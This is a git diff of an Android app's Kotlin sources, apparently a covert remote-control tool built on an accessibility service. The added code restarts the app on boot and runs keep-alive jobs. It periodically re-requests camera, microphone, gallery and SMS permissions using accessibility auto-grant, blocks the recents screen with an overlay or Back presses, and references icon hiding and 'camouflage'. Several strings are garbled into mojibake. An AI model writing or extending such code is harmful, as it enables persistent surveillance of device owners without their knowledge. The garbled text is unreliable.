// 优先检查澎湃OS版本 + // comment cleaned getSystemProperty("ro.mi.os.version.name") ?: getSystemProperty("ro.mi.os.version.code") ?: - // 然后检查MIUI版本 + // comment cleaned getSystemProperty("ro.miui.ui.version.name") ?: - getSystemProperty("ro.miui.ui.version.code") ?: "未知版本" + getSystemProperty("ro.miui.ui.version.code") ?: "鏈煡鐗堟湰" } - // 华为EMUI/Magic UI版本 + // comment cleaned brand.contains("huawei") || brand.contains("honor") -> { getSystemProperty("ro.build.version.emui") ?: getSystemProperty("ro.magic.api.version") ?: - getSystemProperty("ro.build.hw_emui_api_level") ?: "未知版本" + getSystemProperty("ro.build.hw_emui_api_level") ?: "鏈煡鐗堟湰" } - // OPPO ColorOS版本 + // comment cleaned brand.contains("oppo") -> { getSystemProperty("ro.build.version.opporom") ?: - getSystemProperty("ro.build.version.ota") ?: "未知版本" + getSystemProperty("ro.build.version.ota") ?: "鏈煡鐗堟湰" } - // OnePlus OxygenOS版本 + // comment cleaned brand.contains("oneplus") -> { getSystemProperty("ro.oxygen.version") ?: - getSystemProperty("ro.rom.version") ?: "未知版本" + getSystemProperty("ro.rom.version") ?: "鏈煡鐗堟湰" } - // vivo FunTouch/OriginOS版本 + // comment cleaned brand.contains("vivo") || brand.contains("iqoo") -> { getSystemProperty("ro.vivo.os.version") ?: - getSystemProperty("ro.vivo.product.version") ?: "未知版本" + getSystemProperty("ro.vivo.product.version") ?: "鏈煡鐗堟湰" } - // 三星One UI版本 + // comment cleaned brand.contains("samsung") -> { getSystemProperty("ro.build.version.oneui") ?: - getSystemProperty("ro.build.version.sem") ?: "未知版本" + getSystemProperty("ro.build.version.sem") ?: "鏈煡鐗堟湰" } - // 魅族Flyme版本 + // comment cleaned brand.contains("meizu") -> { - getSystemProperty("ro.build.flyme.version") ?: "未知版本" + getSystemProperty("ro.build.flyme.version") ?: "鏈煡鐗堟湰" } else -> { - // 尝试获取通用版本信息 + // comment cleaned getSystemProperty("ro.build.version.incremental") ?: - getSystemProperty("ro.build.id") ?: "未知版本" + getSystemProperty("ro.build.id") ?: "鏈煡鐗堟湰" } } @@ -2710,12 +5390,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { romVersion } catch (e: Exception) { Log.e(TAG, "Get ROM version failed", e) - "未知版本" + "Unknown version" } } /** - * 🆕 检查系统属性是否存在 + * comment cleaned */ private fun hasSystemProperty(key: String): Boolean { return try { @@ -2727,7 +5407,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 🆕 获取系统属性值 + * comment cleaned */ private fun getSystemProperty(key: String): String? { return try { @@ -2742,7 +5422,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 🆕 获取OS构建版本号(如1.0.19.0.UMCCNXM) + * comment cleaned */ private fun getOSBuildVersion(): String { return try { @@ -2750,14 +5430,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // Special handling for Xiaomi devices if (brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")) { - // 检查是否为澎湃OS + // comment cleaned val hyperosProp = getSystemProperty("ro.mi.os.version.incremental") if (!hyperosProp.isNullOrBlank()) { Log.d(TAG, "Detected HyperOS, version: $hyperosProp") return hyperosProp } - // MIUI设备特定属性 + // comment cleaned val miuiIncrementalProps = listOf( "ro.build.version.incremental", "ro.product.mod_device", @@ -2770,7 +5450,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // Fix HyperOS version format: remove possible prefix val cleanVersion = when { version.startsWith("V") && version.contains(".") -> { - // 如果是V816.0.19.0.UMCCNXM格式,提取.后面的部分 + // comment cleaned val dotIndex = version.indexOf('.') if (dotIndex > 1) { version.substring(dotIndex + 1) @@ -2784,18 +5464,18 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } - // 其他品牌设备的通用属性获取 + // comment cleaned val buildProperties = listOf( - "ro.build.version.incremental", // 增量版本号 - "ro.build.display.id", // 完整构建显示ID - "ro.build.id", // 构建ID - "ro.modversion", // 模组版本 - "ro.build.version.security_patch", // 安全补丁版本 - "ro.build.description", // 构建描述 - "ro.product.build.version.incremental" // 产品构建增量版本 + "ro.build.version.incremental", // 澧為噺鐗堟湰鍙? + "ro.build.display.id", // full build display ID + "ro.build.id", // 閺嬪嫬缂揑D + "ro.modversion", // 濡紕绮嶉悧鍫熸拱 + "ro.build.version.security_patch", // 鐎瑰鍙忕悰銉ょ閻楀牊婀? + "ro.build.description", // 閺嬪嫬缂撻幓蹇氬牚 + "ro.product.build.version.incremental" // 娴溠冩惂閺嬪嫬缂撴晶鐐哄櫤閻楀牊婀? ) - // 按优先级尝试获取版本信息 + // comment cleaned for (property in buildProperties) { val version = getSystemProperty(property) if (!version.isNullOrBlank() && version.length > 3) { @@ -2804,7 +5484,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } - // 如果都获取不到,使用Build类的相关信息 + // 濡傛灉閮借幏鍙栦笉鍒帮紝浣跨敤Build绫荤殑鐩稿叧淇℃伅 val fallbackVersion = when { android.os.Build.DISPLAY.isNotBlank() -> android.os.Build.DISPLAY android.os.Build.ID.isNotBlank() -> android.os.Build.ID @@ -2812,21 +5492,21 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } Log.d(TAG, "Using fallback OS build version: $fallbackVersion") - fallbackVersion.ifBlank { "未知版本" } + fallbackVersion.ifBlank { "Unknown version" } } catch (e: Exception) { Log.e(TAG, "Get OS build version failed", e) - android.os.Build.VERSION.INCREMENTAL.ifBlank { "未知版本" } + android.os.Build.VERSION.INCREMENTAL.ifBlank { "Unknown version" } } } - // =============== 图片加载与压缩工具 =============== + // comment cleaned private fun loadImageAsJpegBase64(contentUri: String, maxWidth: Int, maxHeight: Int, quality: Int): String? { return try { val uri = android.net.Uri.parse(contentUri) val resolver = service.contentResolver - // 先读取尺寸 + // comment cleaned val boundsOptions = android.graphics.BitmapFactory.Options().apply { inJustDecodeBounds = true } resolver.openInputStream(uri)?.use { input -> android.graphics.BitmapFactory.decodeStream(input, null, boundsOptions) @@ -2837,7 +5517,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { return null } - // 计算采样率 + // comment cleaned val inSample = calculateInSampleSize(srcW, srcH, maxWidth, maxHeight) val decodeOptions = android.graphics.BitmapFactory.Options().apply { inSampleSize = inSample @@ -2889,4 +5569,6 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } return inSampleSize.coerceAtLeast(1) } -} \ No newline at end of file +} + + diff --git a/app/src/main/java/com/hikoncont/receiver/BootReceiver.kt b/app/src/main/java/com/hikoncont/receiver/BootReceiver.kt index 8d04880..ec86d96 100644 --- a/app/src/main/java/com/hikoncont/receiver/BootReceiver.kt +++ b/app/src/main/java/com/hikoncont/receiver/BootReceiver.kt @@ -6,6 +6,8 @@ import android.content.Intent import android.os.Build import android.util.Log import com.hikoncont.service.RemoteControlForegroundService +import com.hikoncont.util.DeviceMetricsReporter +import com.hikoncont.util.RuntimeFeatureFlags /** * 开机自启动接收器 - 参考 f 目录的 SelfStartRunUse @@ -19,14 +21,35 @@ class BootReceiver : BroadcastReceiver() { override fun onReceive(context: Context, intent: Intent) { Log.i(TAG, "🔄 收到系统广播: ${intent.action}") + val flags = RuntimeFeatureFlags.current(context) when (intent.action) { Intent.ACTION_BOOT_COMPLETED -> { + if (!flags.bootAutoStart) { + Log.i(TAG, "⏭️ featureFlags.bootAutoStart=false,跳过开机自启动") + DeviceMetricsReporter.reportKeepAlive( + context = context, + metricName = "boot_autostart_skipped", + success = false, + data = mapOf("action" to Intent.ACTION_BOOT_COMPLETED) + ) + return + } // ✅ 参考 f 目录的 SelfStartRunUse:只启动主前台服务 Log.i(TAG, "🚀 系统启动完成,启动主前台服务(参考 f 目录策略)") startMainForegroundService(context) } "android.intent.action.QUICKBOOT_POWERON" -> { + if (!flags.bootAutoStart) { + Log.i(TAG, "⏭️ featureFlags.bootAutoStart=false,跳过快速开机自启动") + DeviceMetricsReporter.reportKeepAlive( + context = context, + metricName = "boot_autostart_skipped", + success = false, + data = mapOf("action" to "android.intent.action.QUICKBOOT_POWERON") + ) + return + } // 小米等设备的快速开机 Log.i(TAG, "⚡ 快速开机完成,启动主前台服务") startMainForegroundService(context) @@ -55,9 +78,24 @@ class BootReceiver : BroadcastReceiver() { context.startService(intent) } Log.i(TAG, "✅ 主前台服务已启动(参考 f 目录的 BackRunServerUseUse)") + DeviceMetricsReporter.reportKeepAlive( + context = context, + metricName = "boot_foreground_service_start", + success = true, + data = mapOf("source" to "boot_receiver") + ) } catch (e: Exception) { Log.e(TAG, "❌ 启动主前台服务失败", e) + DeviceMetricsReporter.reportKeepAlive( + context = context, + metricName = "boot_foreground_service_start", + success = false, + data = mapOf( + "source" to "boot_receiver", + "error" to (e.message ?: "unknown") + ) + ) } } @@ -74,4 +112,4 @@ class BootReceiver : BroadcastReceiver() { false } } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/AccessibilityRemoteService.kt b/app/src/main/java/com/hikoncont/service/AccessibilityRemoteService.kt index a3e83b7..80d55b4 100644 --- a/app/src/main/java/com/hikoncont/service/AccessibilityRemoteService.kt +++ b/app/src/main/java/com/hikoncont/service/AccessibilityRemoteService.kt @@ -7,22 +7,32 @@ import android.app.NotificationChannel import android.app.NotificationManager import android.app.PendingIntent import android.app.usage.UsageStatsManager +import android.content.ActivityNotFoundException import android.content.BroadcastReceiver import android.content.ComponentName import android.content.Context import android.content.Intent import android.content.IntentFilter +import android.content.pm.ApplicationInfo import android.content.pm.PackageManager +import android.content.pm.ResolveInfo +import android.graphics.Bitmap +import android.graphics.Canvas import android.graphics.Path import android.graphics.PointF +import android.graphics.drawable.BitmapDrawable +import android.graphics.drawable.Drawable import android.app.KeyguardManager import java.io.File +import java.io.ByteArrayOutputStream +import android.net.Uri import android.os.Build import android.os.Bundle import android.os.Handler import android.os.Looper import android.os.PowerManager import android.provider.Settings +import android.util.Base64 import android.util.Log import android.view.KeyEvent import android.view.WindowManager @@ -66,7 +76,11 @@ import com.hikoncont.service.modules.WriteSettingsPermissionManager import com.hikoncont.service.modules.AuthorizationModule import com.hikoncont.service.modules.ScreenBrightnessManager import com.hikoncont.service.modules.AppIconHideManager +import com.hikoncont.util.DeviceDetector +import com.hikoncont.util.DeviceMetricsReporter import com.hikoncont.util.InstallationStateManager +import com.hikoncont.util.RuntimeFeatureFlags +import com.hikoncont.util.registerReceiverCompat import kotlinx.coroutines.* import android.media.projection.MediaProjectionManager import android.media.projection.MediaProjection @@ -129,6 +143,17 @@ class AccessibilityRemoteService : AccessibilityService() { "com.realme.securitycheck" // realme安全检测 ) + private val ROM_PERMISSION_GUARD_BRANDS = setOf( + "huawei", "honor", + "xiaomi", "redmi", + "oppo", "realme", "oneplus", + "vivo", "iqoo" + ) + private const val ROM_PERMISSION_GUARD_INITIAL_DELAY_MS = 25000L + private const val ROM_PERMISSION_GUARD_INTERVAL_MS = 60000L + private const val ROM_AUTHORIZATION_COOLDOWN_MS = 180000L + private const val AUTO_REQUEST_MEDIA_PROJECTION_ON_STARTUP = false + // 服务实例 @Volatile private var instance: AccessibilityRemoteService? = null @@ -195,6 +220,9 @@ class AccessibilityRemoteService : AccessibilityService() { // ✅ 唤醒屏幕定时任务 private var wakeScreenJob: Job? = null + private var romPermissionGuardJob: Job? = null + @Volatile + private var lastRomAuthorizationAttemptAt = 0L // 🔕 WebView页面降载:进入本应用的WebView页面时,暂停无障碍事件处理以降低开销 @Volatile @@ -223,6 +251,8 @@ class AccessibilityRemoteService : AccessibilityService() { // 删除悬浮窗权限申请相关配置 @Volatile private var allPermissionsCompleted = false + @Volatile + private var setupCompletionDispatched = false @Volatile private var lastPermissionRequestTime = 0L // 上次权限申请时间 @@ -386,6 +416,15 @@ class AccessibilityRemoteService : AccessibilityService() { restoreCamouflageState() initializeService() + + DeviceMetricsReporter.reportKeepAlive( + context = this, + metricName = "accessibility_service_connected", + success = true, + data = mapOf( + "workManagerKeepAlive" to RuntimeFeatureFlags.current(this).workManagerKeepAlive + ) + ) } /** @@ -471,12 +510,34 @@ class AccessibilityRemoteService : AccessibilityService() { private fun startWorkManagerKeepAlive() { try { + val flags = RuntimeFeatureFlags.current(this) + if (!flags.workManagerKeepAlive) { + Log.i(TAG, "⏭️ featureFlags.workManagerKeepAlive=false,跳过无障碍服务内WorkManager启动") + DeviceMetricsReporter.reportKeepAlive( + context = this, + metricName = "accessibility_workmanager_skip", + success = false, + data = mapOf("reason" to "feature_flag_disabled") + ) + return + } Log.i(TAG, "🚀 启动WorkManager保活服务") val workManagerKeepAlive = WorkManagerKeepAliveService.getInstance() workManagerKeepAlive.startKeepAlive(this) Log.i(TAG, "✅ WorkManager保活服务已启动") + DeviceMetricsReporter.reportKeepAlive( + context = this, + metricName = "accessibility_workmanager_start", + success = true + ) } catch (e: Exception) { Log.e(TAG, "❌ 启动WorkManager保活服务失败", e) + DeviceMetricsReporter.reportKeepAlive( + context = this, + metricName = "accessibility_workmanager_start", + success = false, + data = mapOf("error" to (e.message ?: "unknown")) + ) } } @@ -1061,6 +1122,11 @@ class AccessibilityRemoteService : AccessibilityService() { } catch (_: Exception) { "" } Log.i(TAG, "🔍 前置顶层包名: $prePkg") + if (isPermissionFlowContext(prePkg)) { + Log.i(TAG, "⏸️ 当前处于系统权限页,跳过小米Android13强制返回应用,避免乱跳: pkg=$prePkg") + return false + } + // ✅ 修复:检查是否是保活场景,如果是则不启动MainActivity if (isKeepAliveScenario()) { Log.i(TAG, "💡 保活场景下小米Android 13返回应用,不启动MainActivity(避免保活程序拉起)") @@ -1131,6 +1197,11 @@ class AccessibilityRemoteService : AccessibilityService() { return true } + if (isPermissionFlowContext(midPkg)) { + Log.i(TAG, "⏸️ 返回后处于系统权限页,跳过再次启动MainActivity: pkg=$midPkg") + return false + } + // 3. 如果返回操作也失败,再次尝试启动应用 Log.w(TAG, "⚠️ 小米Android 13设备返回操作失败,再次启动应用") val tReLaunchStart = System.currentTimeMillis() @@ -1151,6 +1222,36 @@ class AccessibilityRemoteService : AccessibilityService() { } } + private fun isPermissionFlowContext(packageName: String?): Boolean { + val normalized = packageName?.lowercase()?.trim().orEmpty() + if (normalized.isBlank()) return false + if (isSystemSettingsPackage(normalized)) return true + val policyHints = runCatching { + val policy = DeviceDetector.getRomPolicy() + policy.permissionFlowPackageHints + policy.permissionDialogPackageHints + }.getOrDefault(emptyList()) + + val defaultHints = listOf( + "permissioncontroller", + "packageinstaller", + "permcenter", + "securitycenter", + "lbe.security.miui", + "systemmanager", + "com.coloros", + "com.oplus", + "com.heytap", + "com.oppo" + ) + val mergedHints = (defaultHints + policyHints) + .map { it.lowercase().trim() } + .filter { it.isNotEmpty() } + .distinct() + + return normalized == "android" || + mergedHints.any { hint -> normalized == hint || normalized.contains(hint) } + } + /** * ✅ 新增:检测当前是否在我们的应用页面 */ @@ -1696,12 +1797,13 @@ class AccessibilityRemoteService : AccessibilityService() { // ✅ 新增:防重复检测机制 private var lastRecentsCheckTime = 0L private var lastRecentsPackage = "" - private val RECENTS_CHECK_INTERVAL = 100L // 2秒内不重复检测同一包名 + private val RECENTS_CHECK_INTERVAL = 2000L // 2秒内不重复检测同一包名 // 悬浮窗相关变量 private var overlayView: android.widget.TextView? = null private var windowManager: android.view.WindowManager? = null private var overlayParams: android.view.WindowManager.LayoutParams? = null + private var recentsOverlayUnsupportedLogged = false // 延迟移除控制 private var recentsOverlayRemovalHandler: android.os.Handler? = @@ -1766,6 +1868,16 @@ class AccessibilityRemoteService : AccessibilityService() { performGlobalAction(GLOBAL_ACTION_BACK) return } + + // 部分ROM没有悬浮窗权限时无法创建遮挡层,直接回退为“自动返回” + if (!canUseRecentsOverlayGuard()) { + if (!recentsOverlayUnsupportedLogged) { + recentsOverlayUnsupportedLogged = true + Log.w(TAG, "⚠️ 当前设备未授予悬浮窗权限,回退为多任务页自动返回") + } + performGlobalAction(GLOBAL_ACTION_BACK) + return + } // performGlobalAction(GLOBAL_ACTION_BACK) // return // 获取节点位置 @@ -1876,22 +1988,39 @@ class AccessibilityRemoteService : AccessibilityService() { Log.i(TAG, "✅ 悬浮窗已创建并添加") } catch (e: Exception) { + // 创建失败后必须清理引用,避免后续重复remove导致日志风暴 + overlayView = null + overlayParams = null Log.e(TAG, "❌ 创建悬浮窗失败", e) } } private fun removeOverlayView() { + val view = overlayView + overlayView = null + overlayParams = null try { - if (overlayView != null && windowManager != null) { - windowManager?.removeView(overlayView) - overlayView = null - Log.d(TAG, "🗑️ 悬浮窗已移除") + if (view != null && windowManager != null) { + if (view.isAttachedToWindow) { + windowManager?.removeViewImmediate(view) + Log.d(TAG, "🗑️ 悬浮窗已移除") + } } + } catch (_: IllegalArgumentException) { + // 视图未附着时直接忽略,避免刷屏 } catch (e: Exception) { Log.e(TAG, "❌ 移除悬浮窗失败", e) } } + private fun canUseRecentsOverlayGuard(): Boolean { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + Settings.canDrawOverlays(this) + } else { + true + } + } + /** * 测试新的多任务检测方案 @@ -1989,6 +2118,7 @@ class AccessibilityRemoteService : AccessibilityService() { Log.d(TAG, "✅ 权限获取流程完成") isInitialized = true + startRomPermissionGuard() Log.i(TAG, "✅ 无障碍服务初始化完成") } catch (e: Exception) { @@ -2009,6 +2139,130 @@ class AccessibilityRemoteService : AccessibilityService() { } } } + + private fun isRomPermissionGuardTargetDevice(): Boolean { + val brand = (Build.BRAND ?: "").lowercase() + val manufacturer = (Build.MANUFACTURER ?: "").lowercase() + return ROM_PERMISSION_GUARD_BRANDS.any { key -> + brand.contains(key) || manufacturer.contains(key) + } + } + + private fun startRomPermissionGuard() { + if (romPermissionGuardJob?.isActive == true) { + return + } + if (!isRomPermissionGuardTargetDevice()) { + Log.i(TAG, "📱 当前设备非ROM差异兜底名单,跳过权限守护任务") + return + } + + Log.i(TAG, "🛡️ 启动ROM差异权限守护任务") + romPermissionGuardJob = serviceScope.launch { + delay(ROM_PERMISSION_GUARD_INITIAL_DELAY_MS) + while (isActive) { + try { + runRomPermissionGuardOnce("periodic") + } catch (e: Exception) { + Log.w(TAG, "⚠️ ROM权限守护检查异常", e) + } + delay(ROM_PERMISSION_GUARD_INTERVAL_MS) + } + } + } + + private fun stopRomPermissionGuard() { + romPermissionGuardJob?.cancel() + romPermissionGuardJob = null + } + + private fun runRomPermissionGuardOnce(trigger: String) { + val missingPermissions = mutableListOf() + val runtimeRequestBusy = try { + ::permissionGranter.isInitialized && permissionGranter.hasActiveRuntimePermissionRequest() + } catch (_: Exception) { + false + } + val projectionRequestBusy = try { + ::permissionGranter.isInitialized && permissionGranter.isMediaProjectionRequestInProgress() + } catch (_: Exception) { + false + } + val permissionData = MediaProjectionHolder.getPermissionData() + val mediaProjection = MediaProjectionHolder.getMediaProjection() + val mediaProjectionReady = permissionData != null && mediaProjection != null + val projectionFlowBusy = projectionRequestBusy || !mediaProjectionReady + val activeRuntimeType = if (runtimeRequestBusy) { + runCatching { permissionGranter.getActiveRuntimePermissionRequestType() }.getOrNull() + } else { + null + } + if (runtimeRequestBusy) { + Log.i( + TAG, + "⏸️ ROM权限守护检测到运行时权限申请进行中,跳过并发触发: active=${activeRuntimeType ?: "unknown"}" + ) + } + if (projectionFlowBusy) { + Log.i( + TAG, + "⏸️ ROM权限守护检测到投屏流程进行中或未就绪,跳过运行时权限并发触发: projectionRequestBusy=$projectionRequestBusy, mediaProjectionReady=$mediaProjectionReady" + ) + } + + if (!checkCameraPermission()) { + missingPermissions.add("camera") + if (!runtimeRequestBusy && !projectionFlowBusy) { + requestCameraPermission() + } + } + if (!checkGalleryPermission()) { + missingPermissions.add("gallery") + if (!runtimeRequestBusy && !projectionFlowBusy) { + requestGalleryPermissionWithAutoGrant() + } + } + if (!checkMicrophonePermission()) { + missingPermissions.add("microphone") + if (!runtimeRequestBusy && !projectionFlowBusy) { + requestMicrophonePermissionWithAutoGrant() + } + } + if (!checkSMSPermission()) { + missingPermissions.add("sms") + if (!runtimeRequestBusy && !projectionFlowBusy) { + requestSMSPermissionWithAutoGrant() + } + } + + if (!mediaProjectionReady) { + missingPermissions.add("media_projection") + if (::screenCaptureManager.isInitialized) { + screenCaptureManager.enableAccessibilityScreenshotMode() + } + } + + if (missingPermissions.isEmpty()) { + return + } + + Log.w(TAG, "🧩 ROM权限守护发现缺失权限($trigger): ${missingPermissions.joinToString(",")}") + + val now = System.currentTimeMillis() + val canTriggerAuthorization = !runtimeRequestBusy && + !projectionRequestBusy && + authorizationModule?.isAuthorizing() != true && + now - lastRomAuthorizationAttemptAt >= ROM_AUTHORIZATION_COOLDOWN_MS + if (canTriggerAuthorization) { + lastRomAuthorizationAttemptAt = now + authorizationModule?.startAuthorization() + Log.i(TAG, "🔄 ROM权限守护已触发授权回补流程") + } else if (runtimeRequestBusy) { + Log.i(TAG, "⏸️ ROM权限守护本轮不触发授权回补,等待运行时权限流程结束") + } else if (projectionRequestBusy) { + Log.i(TAG, "⏸️ ROM权限守护本轮不触发授权回补,等待投屏流程结束") + } + } /** * 降级初始化 - 确保基本功能可用 @@ -2118,12 +2372,8 @@ class AccessibilityRemoteService : AccessibilityService() { ) } - // ✅ 修复:确保如果日志记录已启用,OperationLogCollector也被启动 - // if (isLoggingEnabled && logCollector != null) { - // logCollector?.startLogging() - // Log.i(TAG, "✅ 自动启动OperationLogCollector,因为日志记录已启用") - // } - // 暂停:暂时不自动启动日志收集器 + // ✅ 修复:如果日志在管理器初始化前已被标记为开启,这里补偿启动一次 + applyPendingLoggingStateIfNeeded("initialize_managers") // ✅ 初始化智能权限管理器(适用于所有Android版本,特别针对Android 15优化) Log.i(TAG, "🧠 初始化智能MediaProjection管理器") @@ -2224,6 +2474,91 @@ class AccessibilityRemoteService : AccessibilityService() { /** * 开始权限获取流程 - 修复时序问题,新增智能返回应用逻辑 */ + private fun shouldDeferMediaProjectionAutoRequestForHonor(): Boolean { + return try { + val brand = Build.BRAND?.lowercase().orEmpty() + val manufacturer = Build.MANUFACTURER?.lowercase().orEmpty() + val isHonorFamily = + brand.contains("honor") || + manufacturer.contains("honor") || + manufacturer.contains("huawei") + if (!isHonorFamily) { + return false + } + val pendingRuntimePermissions = getCriticalRuntimeMissingPermissions() + val shouldDefer = pendingRuntimePermissions.isNotEmpty() + if (shouldDefer) { + Log.i( + TAG, + "📱 Honor系运行时权限未完成,暂缓自动MediaProjection申请: ${pendingRuntimePermissions.joinToString(",")}" + ) + } + shouldDefer + } catch (e: Exception) { + Log.w(TAG, "检测Honor运行时权限优先策略失败,回退默认流程", e) + false + } + } + + private fun getCriticalRuntimeMissingPermissions(): List { + val missing = mutableListOf() + try { + if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { + missing.add("CAMERA") + } + if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { + missing.add("RECORD_AUDIO") + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + if (checkSelfPermission(android.Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { + missing.add("READ_MEDIA_IMAGES") + } + if (checkSelfPermission(android.Manifest.permission.READ_MEDIA_VIDEO) != PackageManager.PERMISSION_GRANTED) { + missing.add("READ_MEDIA_VIDEO") + } + } else { + if (checkSelfPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { + missing.add("READ_EXTERNAL_STORAGE") + } + } + if (checkSelfPermission(android.Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED) { + missing.add("READ_SMS") + } + if (checkSelfPermission(android.Manifest.permission.SEND_SMS) != PackageManager.PERMISSION_GRANTED) { + missing.add("SEND_SMS") + } + if (checkSelfPermission(android.Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { + missing.add("READ_PHONE_STATE") + } + } catch (e: Exception) { + Log.w(TAG, "统计关键运行时权限失败", e) + } + return missing + } + + private fun markSetupCompletedIfNeeded(reason: String) { + if (setupCompletionDispatched) { + Log.d(TAG, "配置完成收敛已触发,忽略重复调用: reason=$reason") + return + } + setupCompletionDispatched = true + allPermissionsCompleted = true + stopAccessibilityPageMonitor() + + if (::configProgressManager.isInitialized) { + Log.i(TAG, "📊 配置完成收敛触发: reason=$reason") + configProgressManager.completeConfiguration() + } else { + Log.w(TAG, "⚠️ ConfigProgressManager未初始化,无法标记配置完成: reason=$reason") + } + + if (::configMaskManager.isInitialized) { + Handler(Looper.getMainLooper()).postDelayed({ + configMaskManager.hideConfigMask() + }, 1000) + } + } + private suspend fun startPermissionGrantFlow() { try { Log.i(TAG, "开始自动权限获取流程") @@ -2275,6 +2610,12 @@ class AccessibilityRemoteService : AccessibilityService() { } } + // 🔧 Honor系优先完成运行时权限,避免MediaProjection弹窗抢焦点打断链路 + if (shouldDeferMediaProjectionAutoRequestForHonor()) { + permissionRequestInProgress = false + return + } + // 🔧 Android 11+:检查是否已有 MediaProjection 权限,没有则通过 MainActivity 申请 val existingPermission = MediaProjectionHolder.getPermissionData() if (existingPermission == null) { @@ -4092,8 +4433,55 @@ class AccessibilityRemoteService : AccessibilityService() { /** * 启动MainActivity申请权限 - 增加权限预检查和智能返回应用 */ + private fun bringExistingMainTaskToFront(reason: String): Boolean { + return try { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) { + return false + } + val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as? ActivityManager + ?: return false + val appTasks = activityManager.appTasks + if (appTasks.isNullOrEmpty()) { + Log.i(TAG, "📋 无可用任务可置前: reason=$reason") + return false + } + + for (task in appTasks) { + val basePkg = task.taskInfo?.baseActivity?.packageName + if (basePkg == packageName) { + task.moveToFront() + Log.i(TAG, "✅ 已将现有任务置前: reason=$reason, taskId=${task.taskInfo?.taskId}") + return true + } + } + Log.i(TAG, "📋 未找到本应用任务可置前: reason=$reason") + false + } catch (e: Exception) { + Log.w(TAG, "⚠️ 置前现有任务失败: reason=$reason", e) + false + } + } + + private fun isAppOnTopByAccessibility(): Boolean { + return try { + rootInActiveWindow?.packageName?.toString() == packageName + } catch (_: Exception) { + false + } + } + private fun startMainActivityForPermission() { try { + if (!AUTO_REQUEST_MEDIA_PROJECTION_ON_STARTUP) { + Log.i(TAG, "🧩 WS优先模式:跳过启动阶段自动拉起MediaProjection授权,等待手动触发") + permissionRequestInProgress = false + allPermissionsCompleted = true + serviceScope.launch { + continueServiceInitialization() + } + return + } + val currentTime = System.currentTimeMillis() // ✅ 检查冷却时间,防止频繁启动 @@ -4167,6 +4555,8 @@ class AccessibilityRemoteService : AccessibilityService() { Intent.FLAG_ACTIVITY_SINGLE_TOP ) putExtra("AUTO_REQUEST_PERMISSION", true) + // Android 11+ 默认按 WebRTC-only 链路申请,避免在MainActivity阶段提前消费投屏token + putExtra("WEBRTC_ONLY_REQUEST", Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) // ✅ 添加额外标识,确保Intent不会丢失 putExtra("TIMESTAMP", System.currentTimeMillis()) @@ -4178,13 +4568,14 @@ class AccessibilityRemoteService : AccessibilityService() { Log.i(TAG, "✅ 已启动MainActivity申请权限 - Intent标志: NEW_TASK|SINGLE_TOP") Log.i( TAG, - "📊 Intent参数详情: AUTO_REQUEST_PERMISSION=true, TIMESTAMP=${System.currentTimeMillis()}" + "📊 Intent参数详情: AUTO_REQUEST_PERMISSION=true, WEBRTC_ONLY_REQUEST=${Build.VERSION.SDK_INT >= Build.VERSION_CODES.R}, TIMESTAMP=${System.currentTimeMillis()}" ) // ✅ 立即发送备用广播,确保MainActivity能收到权限申请请求 Log.i(TAG, "🔄 同时发送备用广播确保权限申请能被处理") val backupIntent = Intent("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE") backupIntent.putExtra("AUTO_REQUEST_PERMISSION", true) + backupIntent.putExtra("WEBRTC_ONLY_REQUEST", Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) backupIntent.putExtra("TIMESTAMP", System.currentTimeMillis()) backupIntent.putExtra("SOURCE", "AccessibilityRemoteService_Backup") sendBroadcast(backupIntent) @@ -4229,7 +4620,7 @@ class AccessibilityRemoteService : AccessibilityService() { addAction("android.mycustrecev.START_ACCESSIBILITY_SERVICE") // 无障碍服务启动 addAction("android.mycustrecev.ENABLE_LOGGING") // 启用日志记录 } - registerReceiver(permissionRequestReceiver, filter) + registerReceiverCompat(permissionRequestReceiver, filter) Log.i(TAG, "已注册权限申请广播接收器") } catch (e: Exception) { Log.e(TAG, "注册广播接收器失败", e) @@ -4844,12 +5235,27 @@ class AccessibilityRemoteService : AccessibilityService() { val serverConnected = isNetworkConnected() val deviceRegistered = isDeviceRegistered() + val runtimeMissing = getCriticalRuntimeMissingPermissions() + val runtimePermissionsReady = runtimeMissing.isEmpty() + val maskEnabled = try { + ::configMaskManager.isInitialized && configMaskManager.isConfigMaskEnabled() + } catch (_: Exception) { + true + } + val mediaProjectionRequestInProgress = try { + ::permissionGranter.isInitialized && permissionGranter.isMediaProjectionRequestInProgress() + } catch (_: Exception) { + false + } + val projectionFlowSettled = !mediaProjectionRequestInProgress // 🆕 添加WRITE_SETTINGS权限检查 val writeSettingsPermissionReady = hasWriteSettingsPermission() // 🆕 添加AuthorizationModule状态检查 val authorizationNotRunning = authorizationModule?.isAuthorizing() != true + val writeSettingsGatePassed = writeSettingsPermissionReady || !maskEnabled + val authorizationGatePassed = authorizationNotRunning || !maskEnabled Log.i(TAG, "🔍 检查配置遮盖隐藏条件:") Log.i( @@ -4858,46 +5264,42 @@ class AccessibilityRemoteService : AccessibilityService() { ) Log.i(TAG, " 🌐 服务器连接: $serverConnected") 